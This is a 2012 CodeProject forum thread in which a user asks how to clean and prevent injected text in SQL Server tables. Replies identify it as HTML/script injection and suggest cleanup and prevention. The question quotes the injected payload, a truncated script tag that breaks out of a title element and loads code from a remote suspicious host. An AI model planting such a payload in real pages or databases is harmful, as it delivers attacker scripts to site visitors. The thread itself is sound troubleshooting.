Click here to Skip to main content
Rate this: bad
good
Please Sign up or sign in to vote.
Sir,
 
I have created one website and host in server, the website is work very well, I Create tables in MS SQL SERVER 2000. In tables all rows and columns data are affected by virus. so how can i remove the virus from table OR how to avoid virus affected in table. Please help me to remove the virus it's very urgent.

Virus data is : "></title><script src="http://ngr61ail.rr.nu/sl.ph
Posted 5-Oct-12 20:58pm
Rate this: bad
good
Please Sign up or sign in to vote.

Solution 3

This is called HTML Injection (or Script injection) and the best thing to do is to ensure it doesn't happen at source. Start with Wiki: it will tell you about the subject, including ways to avoid it: http://en.wikipedia.org/wiki/Code_injection[^]
 
You will have to clean your data yourself by looking at every text field in your database, I'm afraid!
  Permalink  
Comments
AshishChaudha at 6-Oct-12 3:17am
   
nice
Rate this: bad
good
Please Sign up or sign in to vote.

Solution 1

A table cannot directly host a virus.
It looks like your server has been infected by a virus - this has in turn corrupted the server.
 
Try running a virus scanner on your server.
 
As far as the data is concerned, hope you have a database backup.
  Permalink  
Comments
prabaran at 6-Oct-12 3:07am
   
Thanks abhinav, But i've one doubt this virus should be from our coding side mistake or server side mistake, i didn't understand how the sql tables are affected by virus.
OriginalGriff at 6-Oct-12 3:10am
   
Not so - this is called HTML injection and in it's most primitive form consists of adding html to your user name which executes whenever anyone else sees your name on the site. Have a look at the wiki entry I sent the OP to!
Abhinav S at 6-Oct-12 5:17am
   
Fair point.
Rate this: bad
good
Please Sign up or sign in to vote.

Solution 2

please apply on dummy database or keep backup
 
1. you can export tables in xls and replace that string with ''
and then re-import data from xls sheet
 
2. use sql function to repair data, take visit of this artical,
http://www.mssqltips.com/sqlservertip/1555/sql-server-find-and-replace-values-in-all-tables-and-all-text-columns/[^]
 
Happy Coding!
Smile | :)
  Permalink  

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

  Print Answers RSS
0 Sergey Alexandrovich Kryukov 901
1 OriginalGriff 445
2 CPallini 255
3 Richard Deeming 175
4 George Jonsson 161
0 OriginalGriff 5,540
1 Sergey Alexandrovich Kryukov 4,668
2 CPallini 4,540
3 George Jonsson 3,102
4 Gihan Liyanage 2,445


Advertise | Privacy | Mobile
Web03 | 2.8.140916.1 | Last Updated 6 Oct 2012
Copyright © CodeProject, 1999-2014
All Rights Reserved. Terms of Service
Layout: fixed | fluid

CodeProject, 503-250 Ferrand Drive Toronto Ontario, M3C 3G8 Canada +1 416-849-8900 x 100